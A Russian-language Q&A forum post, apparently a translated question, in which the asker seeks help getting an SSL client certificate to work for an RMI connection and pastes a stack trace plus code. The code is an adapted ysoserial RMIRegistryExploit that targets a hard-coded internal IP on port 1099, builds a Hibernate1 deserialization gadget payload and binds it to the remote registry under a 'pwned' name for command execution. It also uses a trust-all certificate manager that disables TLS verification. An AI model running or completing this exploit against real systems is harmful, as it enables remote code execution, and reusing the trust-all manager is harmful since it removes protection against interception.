Исключение Java RMI: как использовать файл .keystore сервера для соединения RMI с клиентом - PullRequest
0 голосов
/ 12 октября 2019

отладочная трассировка Получение ошибки соединения JRMP при соединении с хостом. У меня есть действующий сертификат сервера для RMI-соединения в формате .keystore, но я не знаю, как использовать этот сертификат для двухстороннего SSL-соединения.

Требуется ли какая-либо конфигурация в среде?

Я попытался импортировать файл .keystore в хранилище доверенных сертификатов Java в ../java/jdk8/jre/lib/security/, но получаю java.lang.Exception: введите не сертификат X.509

Исключение: java.rmi.ConnectIOException: ошибка при установлении соединения JRMP;Вложенное исключение: javax.net.ssl.SSLHandshakeException: получено фатальное предупреждение: bad_certificate на sun.rmi.transport.tcp.TCPChannel.createConnection (TCPChannel.java:307) на sun.rmi.transport.tcp.TCPChannel.CewConnection (.java: 202) по адресу sun.rmi.server.UnicastRef.newCall (UnicastRef.java:338) по адресу sun.rmi.registry.RegistryImpl_Stub.bind (RegistryImpl_Stub.java:60) по адресу ysoserial.exploit.RMIRegistryExploit $:) at ysoserial.exploit.RMIRegistryExploit.main (RMIRegistryExploit.java:65) Вызывается: javax.net.ssl.SSLHandshakeException: получено фатальное предупреждение: bad_certificate at sun.security.ssl.Alerts.getSSLException (Alerts.jj): оповещенияsun.security.ssl.Alerts.getSSLException (Alerts.java:154) в sun.security.ssl.SSLSocketImpl.recvAlert (SSLSocketImpl.java:2020) в sun.security.ssl.SSLSocketImpl.readRecord (SSLSocketImpl.java:1127) в sun.security.ssl.SSLSocketImpl.performInitialHandshake.jl1security.j.7). .SSLSocketImpl.writeRecord (SSLSocketImpl.java:750) в sun.security.ssl.AppOutputStream.write (AppOutputStream.java:123) в java.io.BufferedOutputStream.flushBuffer (BufferedOutputStream.java.io.gt at. flush (BufferedOutputStream.java:140) в java.io.DataOutputStream.flush (DataOutputStream.java:123) в sun.rmi.transport.tcp.TCPChannel.createConnection (TCPChannel.java:229) ... еще 8

Пожалуйста, найдите код ::

public class RMIRegistryExploit {
                        private static class TrustAllSSL implements X509TrustManager {
                            private static final X509Certificate[] ANY_CA = {};
                            public X509Certificate[] getAcceptedIssuers() { return ANY_CA; }
                            public void checkServerTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
                            public void checkClientTrusted(final X509Certificate[] c, final String t) { /* Do nothing/accept all */ }
                        }

                    private static class RMISSLClientSocketFactory implements RMIClientSocketFactory {
                        public Socket createsocket(String host, int port) throws IOException {
                            try {
                                SSLContext ctx = SSLContext.getInstance("TLS");
                                ctx.init(null, new TrustManager[] {new TrustAllSSL()}, null);
                                SSLSocketFactory factory = ctx.getSocketFactory();
                                return factory.createSocket(host, port);
                            } catch(Exception e) {
                                throw new IOException(e);
                            }
                        }
                    }

                    public static void main(final String[] args) throws Exception {

                        final String host = "10.164.47.231";
                        final int port = 1099;
                        final String command = "args";
                        Registry registry = LocateRegistry.getRegistry(host, port);
                        final String className = CommonsCollections1.class.getPackage().getName() +  "." + "Hibernate1";
                        final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);

                        // test RMI registry connection and upgrade to SSL connection on fail
                        try {
                            registry.list();
                        } catch(ConnectIOException ex) {
                            registry = LocateRegistry.getRegistry(host, port, new RMISSLClientSocketFactory());
                        }

                        // ensure payload doesn't detonate during construction or deserialization
                        exploit(registry, payloadClass, command);
                    }

                    public static void exploit(final Registry registry,
                            final Class<? extends ObjectPayload> payloadClass,
                            final String command) throws Exception {
                        new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
                            ObjectPayload payloadObj = payloadClass.newInstance();
                            Object payload = payloadObj.getObject(command);
                            String name = "pwned" + System.nanoTime();
                            Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
                            try {
                                registry.bind(name, remote);
                            } catch (Throwable e) {
                                e.printStackTrace();
                            }
                            Utils.releasePayload(payloadObj, payload);
                            return null;
                        }});
                    }
                }
...